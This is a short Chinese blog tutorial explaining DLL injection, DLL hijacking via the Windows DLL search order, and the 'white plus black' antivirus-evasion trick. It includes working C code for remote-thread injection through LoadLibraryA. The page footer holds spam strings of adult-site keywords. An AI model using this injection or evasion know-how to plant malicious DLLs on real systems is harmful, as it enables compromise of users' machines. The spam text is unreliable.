<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          DLL注入&&DLL劫持&&白加黑

          共 1465字,需瀏覽 3分鐘

           ·

          2022-01-04 02:36

          DLL?

          .dll,動態(tài)鏈接庫英文為DLL,是Dynamic Link Library的縮寫。DLL是一個包含可由多個程序,同時使用的代碼和數(shù)據(jù)的庫。

          白話:說白了就像是一個封裝好的類庫,里面提供許多的函數(shù)供調(diào)用。



          DLL注入

          就是在指定的進程中注入我們的惡意DLL。

          常規(guī)手法:

          編寫惡意DLL => 創(chuàng)建遠程線程 =>?把線程函數(shù)設置為loadlibrary =>?參數(shù)為惡意DLL。

          案例

          #include
          void?Inject(int?pID,?char*?Path)?{ HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID); LPVOID pRetrunAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRetrunAddress, Path, strlen(Path) + 1, NULL); HMODULE hModule = LoadLibraryA("KERNEL32.DLL"); LPTHREAD_START_ROUTINE ipStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA"); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, ipStartAddress, pRetrunAddress, 0, NULL); WaitForSingleObject(hThread, 2000); CloseHandle(hThread); CloseHandle(hProcess);}
          int main() { // 注入的DLL路徑,注意\使用\\表示 const char* path = "E:\\CPPStudy\\DllStudy\\Debug\\DllStudy.dll"; // 參數(shù)1:目標進程ID,參數(shù)2:注入的DLL路徑 Inject(17732, (char*)path); return 0;}

          341068c3ff41aaa743f5fe92be2375b3.webp

          1bf381b432ddc7124f17b0e80d560085.webp

          通常如果我們不做清理工作的話注入的DLL會直至程序關閉才失效。

          當然我們也可以手動卸載,方法差不多,如果是強制卸載的話略微有點麻煩。




          DLL劫持

          DLL劫持主要產(chǎn)生在DLL加載。說白了就是通過類似火絨劍的工具查看程序運行過程中加載的DLL,然后我們構造惡意DLL進行替換。

          DLL加載順序

          程序所在目錄。加載 DLL 時所在的當前目錄。系統(tǒng)目錄即 SYSTEM32 目錄。16位系統(tǒng)目錄即 SYSTEM 目錄。Windows目錄。PATH環(huán)境變量中列出的目錄

          案例

          原本程序

          0ce5886e3da8c688300fc570d0bbc498.webp

          惡意DLL

          4cabc10e0efe7d12e1596f64fccdbf21.webp

          27a151d9e671555e7eeab3dcc74de74c.webp




          白加黑

          所謂的”白加黑”,籠統(tǒng)來說是”白exe”加”黑dll”,”白exe”是指帶有數(shù)字簽名的正常exe文件,那么”黑dll”當然是指包含惡意代碼 的dll文件。病毒借助那些帶數(shù)字簽名且在殺毒軟件白名單內(nèi)的exe程序去加載自己帶有惡意代碼的dll,便能獲得殺毒軟件主動防御的自動信任,從而成功 加載到系統(tǒng)中。(PS:網(wǎng)上偷的)

          白加黑暫時沒有演示案例。。。。。



          結語

          如有錯誤之處,還請多多包涵,當然,歡迎指正。


          瀏覽 260
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  国产卡一卡二在线观看 | 五月婷婷亚洲综合 | 欧美国产精品一区婷婷五月天 | 免费一级黄色毛片 | 日韩在线免费 |